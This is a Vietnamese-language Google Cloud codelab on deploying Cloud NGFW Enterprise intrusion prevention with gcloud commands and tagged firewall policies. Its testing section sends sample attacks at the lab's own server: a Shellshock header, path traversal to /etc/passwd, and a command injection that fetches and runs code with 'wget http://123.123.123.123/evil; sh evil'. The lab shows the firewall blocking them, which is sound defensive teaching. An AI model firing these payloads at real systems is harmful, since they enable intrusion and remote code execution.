1. Giới thiệu
Tường lửa thế hệ tiếp theo của Cloud (NGFW)
Cloud Next Generation Firewall là một dịch vụ tường lửa được phân phối đầy đủ, có các chức năng bảo vệ nâng cao, khả năng phân đoạn vi mô và phạm vi bao phủ để bảo vệ tải công việc của bạn trên Google Cloud khỏi các cuộc tấn công nội bộ lẫn bên ngoài.
Cloud NGFW có các lợi ích sau:
- Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trữ được phân phối đầy đủ và có trạng thái trên từng tải công việc để hỗ trợ kiến trúc bảo mật không tin tưởng bất cứ điều gì (zero-trust).
- Cấu hình và triển khai được đơn giản hoá: Cloud NGFW triển khai các chính sách tường lửa mạng và phân cấp có thể đính kèm được vào một nút phân cấp tài nguyên. Các chính sách này mang đến trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
- Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa chính sách tường lửa với Thẻ quản lý danh tính và quyền truy cập (IAM) giúp kiểm soát hiệu quả đối với cả lưu lượng truy cập từ Bắc Nam đến Đông Tây qua một máy ảo duy nhất trên các mạng và tổ chức của Đám mây riêng tư ảo (VPC).
Cloud NGFW có các cấp sau:
- Kiến thức cơ bản về tường lửa của Cloud thế hệ tiếp theo
- Tiêu chuẩn tường lửa của Cloud Next thế hệ
- Giải pháp tường lửa thế hệ mới của Cloud Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), đây là chức năng của Lớp 7, vào cấu trúc Tường lửa của Google Cloud được phân phối. Yêu cầu kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS, nhưng lại nằm ngoài phạm vi của lớp học lập trình này (xem Lớp học lập trình Cloud NGFW Enterprise với tính năng Kiểm tra TLS).
Giờ đây, bạn có thể triển khai các yêu cầu kiểm tra đáng tin cậy về Tường lửa thế hệ tiếp theo (NGFW) của Lớp 7 bằng các biện pháp kiểm soát chi tiết mà không cần thực hiện bất kỳ thay đổi nào đối với cấu trúc mạng hoặc cấu hình định tuyến.
Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các tác vụ sau:
- Tạo một tập hợp các điểm cuối tường lửa theo vùng do Google Cloud quản lý.
- Tạo một Chính sách kiểm tra TLS (không có trong lớp học lập trình này) nếu muốn
- Tạo một Cấu hình tin cậy (không có trong lớp học lập trình này) nếu muốn
- Liên kết các thiết bị đầu cuối này với mạng đám mây riêng ảo (VPC) mà bạn cần dùng dịch vụ Cloud NGFW Enterprise.
- Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện tại để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.
Chính sách về tường lửa mạng
Chính sách tường lửa mạng hoạt động như một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng không được thực thi ở bất cứ đâu cho đến khi chính sách này được liên kết với một mạng VPC. Mỗi mạng VPC có thể được liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ Thẻ) trong các quy tắc về tường lửa. Các quy tắc này thay thế các thẻ mạng hiện tại và có thể dùng để cung cấp thông tin nhận dạng cho khối lượng công việc.
Việc chia sẻ chính sách tường lửa mạng giữa các mạng và việc tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.
Cùng với sự ra mắt của chính sách về tường lửa mạng, các chính sách về tường lửa của Google Cloud giờ đây bao gồm các thành phần sau:
- Chính sách về tường lửa phân cấp
- Quy tắc về tường lửa của VPC
- Chính sách về tường lửa mạng ( Toàn cầu và Khu vực)
Chính sách tường lửa phân cấp được hỗ trợ tại nút tổ chức và nút thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc về tường lửa của VPC và chính sách về tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa của VPC là các quy tắc về tường lửa của VPC chỉ có thể được áp dụng cho một mạng VPC, trong khi các chính sách về tường lửa mạng có thể được gắn vào một VPC hoặc một nhóm VPC, bên cạnh những lợi ích khác như việc cập nhật theo lô.
Cuối cùng, chúng tôi cũng có các quy tắc ngụ ý về tường lửa đi kèm với mọi mạng VPC:
- Một quy tắc đầu ra có tác vụ là allow, đích đến là 0.0.0.0/0
- Một quy tắc nhập vào có hành động bị từ chối, nguồn là 0.0.0.0/0
Theo mặc định, trình tự thực thi được thể hiện trong sơ đồ sau đây:
Xin lưu ý rằng thứ tự thực thi giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa cho mạng toàn cầu có thể được hoán đổi. Khách hàng có thể chỉ định lệnh thực thi bất cứ lúc nào bằng lệnh gcloud.
Thẻ do IAM quản lý
Thẻ mới được tích hợp trong quy tắc chính sách về tường lửa mạng là tài nguyên cặp khoá-giá trị được xác định ở tổ chức hoặc cấp dự án trong hệ thống phân cấp tài nguyên Google Cloud. Như chính tên gọi, một Thẻ như vậy chứa chức năng kiểm soát quyền truy cập IAM để xác định ai có thể làm gì trên thẻ. Ví dụ: quyền IAM cho phép chỉ định những thành phần chính có thể gán giá trị cho các thẻ và thành phần chính nào có thể đính kèm thẻ vào tài nguyên. Sau khi áp dụng Thẻ cho một tài nguyên, các quy tắc tường lửa mạng có thể dùng thẻ đó để cho phép và từ chối lưu lượng truy cập.
Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được chuyển từ thành phần mẹ sang hệ phân cấp. Do đó, các thẻ có thể được tạo ở một nơi, sau đó được các thư mục và dự án khác sử dụng trong toàn bộ hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế về quyền truy cập.
Không nên nhầm lẫn thẻ với thẻ mạng. Chính sách sau là các chuỗi có thể thêm vào các phiên bản Compute Engine; chúng được liên kết với thực thể đó và biến mất khi thực thể đó ngừng hoạt động. Các quy tắc tường lửa của VPC có thể bao gồm thẻ mạng, nhưng vì không được xem là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.
Xin lưu ý rằng Thẻ và Thẻ được quản lý qua IAM đang được sử dụng thay thế cho nhau trong tài liệu này.
Sản phẩm bạn sẽ tạo ra
Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng lưới VPC có khả năng kết nối công khai. Lớp học lập trình này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:
- Kiểm tra luồng nội bộ VPC/mạng con [Đông-Tây]
- Kiểm tra luồng vào từ Internet [Bắc-Nam]
Các quy trình cần kiểm tra sẽ được chọn bằng các tham số so khớp của Cloud Firewall, bao gồm 5-tuple (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ. Quy trình Kiểm tra TLS không có trong lớp học lập trình này.
Cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:
Mức độ ưu tiên | Hướng dẫn | Target | Nguồn | Đích đến | Hành động | Loại |
100 | Lưu lượng ra | Quarantine_Tag | Bất kỳ | Bất kỳ | Từ chối | Essentials |
1000 | Lưu lượng vào | Server_Tag | Phạm vi kiểm tra tình trạng | Bất kỳ | Cho phép | Essentials |
2000 | Lưu lượng vào | Bất kỳ | Phạm vi proxy nhận biết danh tính | Bất kỳ | Cho phép | Essentials |
3000 | Lưu lượng vào | Bất kỳ | Địa lý, GCTI | Bất kỳ | Từ chối | Tiêu chuẩn |
4000 | Lưu lượng ra | Bất kỳ | Bất kỳ | Địa lý, GCTI | Từ chối | Tiêu chuẩn |
5000 | Lưu lượng ra | Bất kỳ | Bất kỳ | FQDN cập nhật hệ thống | Cho phép | Tiêu chuẩn |
6000 | Lưu lượng vào | Server_Tag | 10.0.0.0/24 | Bất kỳ | IPS | Doanh nghiệp |
7000 | Lưu lượng vào | Server_Tag | CloudNAT_IP | Bất kỳ | IPS | Doanh nghiệp |
Kiến thức bạn sẽ học được
- Cách tạo chính sách tường lửa cho mạng toàn cầu
- Cách tạo và sử dụng Thẻ có chính sách về tường lửa mạng
- Cách định cấu hình và sử dụng Dịch vụ ngăn chặn xâm nhập của Cloud NGFW Enterprise
Bạn cần có
- Dự án Google Cloud
- Có kiến thức về cách triển khai thực thể và định cấu hình thành phần mạng
- Kiến thức về cấu hình tường lửa VPC
2. Trước khi bắt đầu
Tạo/cập nhật biến
Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.
Trong Cloud Shell, hãy chạy các lệnh bên dưới để thay thế thông tin trong dấu ngoặc theo yêu cầu (bỏ qua bước thiết lập dự án nếu bạn đã đặt dự án mong muốn). Một biến khác sẽ được sử dụng cho các tài nguyên cấp tổ chức nếu có nhiều biến, ví dụ: cần có điểm cuối tường lửa.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Bật API
Bật các API nếu bạn chưa thực hiện việc này:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Tạo thiết bị đầu cuối và hồ sơ bảo mật dành cho doanh nghiệp của Cloud NGFW
Vì quá trình tạo Cloud NGFW Enterprise Endpoint mất khoảng 20 phút, nên việc tạo thiết bị đầu cuối này sẽ được tạo trước, và bạn có thể thiết lập cơ sở song song trong khi tạo điểm cuối.
Tạo Nhóm Hồ sơ bảo mật và Hồ sơ bảo mật:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Kết quả đầu ra dự kiến:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Xác nhận rằng các tài nguyên đã được tạo thành công:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Kết quả đầu ra dự kiến:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Tạo điểm cuối Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Chạy lệnh dưới đây để xác nhận rằng điểm cuối đang được tạo (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Quá trình tạo điểm cuối mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.
5. Thiết lập cơ bản
Tiếp tục thực hiện các phần sau nếu bạn muốn tạo tài nguyên cơ sở theo cách thủ công.
Mạng VPC và mạng con
Mạng VPC và mạng con
Tạo mạng VPC và mạng con:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
NAT của đám mây
Tạo Bộ định tuyến đám mây và cổng NAT trên đám mây:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Trạng thái
Tạo thực thể máy khách và máy chủ web:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Các thẻ cấp độ hoạt động
Chỉ định quyền tagAdmin và/hoặc tagUser cho người dùng nếu cần:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Tạo khoá và giá trị Thẻ ở cấp dự án:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Liên kết thẻ với các thực thể:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Chính sách về tường lửa của mạng toàn cầu
Tạo chính sách tường lửa cho mạng toàn cầu:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Tạo các quy tắc quan trọng cho tường lửa trên đám mây để từ chối lưu lượng truy cập từ các thực thể bị cách ly (chỉ được tạo để làm ví dụ, không dùng trong lớp học lập trình này) và cho phép lưu lượng truy cập qua các phạm vi kiểm tra tình trạng và proxy nhận biết danh tính:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Tạo các quy tắc Tiêu chuẩn tường lửa trên đám mây để từ chối lưu lượng truy cập vào và ra từ/đến các quốc gia bị cấm vận, các IP độc hại đã biết và các nút thoát ToR; và chỉ cho phép lưu lượng ra đến các FQDN cụ thể để cập nhật hệ thống (chỉ được tạo để làm ví dụ, không được dùng trong lớp học lập trình này):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Tạo các quy tắc Tường lửa trên đám mây để cho phép lưu lượng truy cập theo hướng đông tây / nội mạng và lưu lượng truy cập từ Bắc vào Nam / Internet từ các phạm vi cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Liên kết chính sách tường lửa mạng với mạng VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Trình cân bằng tải mạng TCP/UDP bên ngoài
Đặt trước một địa chỉ IP bên ngoài, tạo nhóm thực thể và quy trình kiểm tra tình trạng:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Tạo dịch vụ phụ trợ và quy tắc chuyển tiếp:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Hiệp hội thiết bị đầu cuối dành cho doanh nghiệp của Cloud NGFW
Xác định lại các biến môi trường nếu cần.
Xác nhận rằng quá trình tạo Thiết bị đầu cuối tường lửa trên đám mây đã hoàn tất. Chỉ tiếp tục khi trạng thái được hiển thị là HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG SÁNG TẠO):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Liên kết điểm cuối Cloud NGFW Enterprise với mạng VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ tiếp tục khi trạng thái được hiển thị là ACTIVE (trạng thái dự kiến là CREATING trong quá trình tạo):
gcloud network-security firewall-endpoint-associations list
Kết quả đầu ra dự kiến:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Quy tắc kiểm tra Cloud NGFW Enterprise
Mở thẻ mới và bắt đầu kết nối SSH với máy ảo máy khách thông qua IAP (bạn sẽ cần xác định lại các biến trong thẻ mới):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Xác định các biến yêu cầu trong phiên SSH và đặt các biến (đảm bảo rằng các giá trị là chính xác):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
cuộn cả hai IP để xác nhận rằng chúng có thể truy cập được:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Kết quả dự kiến cho cả hai yêu cầu curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Gửi các cuộc tấn công mẫu tới IP máy chủ nội bộ (lưu lượng truy cập Đông Tây / Nội bộ VPC). Máy chủ web cần phản hồi tất cả các yêu cầu, xác nhận rằng không có yêu cầu kiểm tra/ngăn chặn L7 nào:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (lưu lượng truy cập đến từ Bắc-Nam). Tương tự, máy chủ web sẽ phản hồi tất cả các yêu cầu:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Kết quả dự kiến cho cả IP công khai và riêng tư:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Chuyển về Cloud Shell và cập nhật các quy tắc nhập dữ liệu hiện có để bật tính năng kiểm tra L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
(Không bắt buộc) Mô tả các quy tắc về tường lửa để xác minh rằng cả hai đều được cập nhật thành công:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Kết quả đầu ra dự kiến:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Quy tắc 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Kết quả đầu ra dự kiến:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Chuyển về máy ảo máy khách rồi gửi lại các cuộc tấn công mẫu đến IP máy chủ nội bộ (kiểm tra Đông Tây / Nội bộ VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (kiểm tra thư đến từ Bắc-Nam):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Theo kết quả dự kiến dưới đây, không nhận được phản hồi nào cho các cuộc tấn công đầu tiên, xác nhận rằng các cuộc tấn công có mức độ nghiêm trọng cao hiện đã bị chặn.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Chuyển đến phần Bảo mật mạng > Các mối đe doạ trên Bảng điều khiển Cloud đối với việc xác minh nhật ký (bạn có thể phải làm mới vài lần nếu hiện trạng thái tấn công chưa xuất hiện).
Chọn một cách tấn công rồi nhấp vào "Xem nhật ký kiểm tra" ở phía bên phải (mở trong thẻ mới để dễ dàng chuyển lại). Mở rộng cuộc tấn công để hiện chi tiết:
Nếu muốn, hãy thay thế bộ lọc Trình khám phá nhật ký bằng truy vấn dưới đây:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Bạn cần xem các mục trong nhật ký mối đe doạ như sau:
Bạn có thể xác minh các gói bị chặn trên Tường lửa trên đám mây bằng bộ lọc Trình khám phá nhật ký dưới đây (hữu ích cho mục đích khắc phục sự cố):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Tiếp tục kiểm tra lưu lượng truy cập Internet (không bắt buộc) hoặc đóng phiên SSH và chuyển sang chương tiếp theo để thực hiện các bước dọn dẹp.
[Không bắt buộc] Kiểm tra lưu lượng truy cập Internet
